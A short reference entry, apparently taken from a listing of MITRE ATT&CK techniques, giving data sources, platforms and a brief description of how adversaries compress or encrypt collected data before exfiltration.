Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre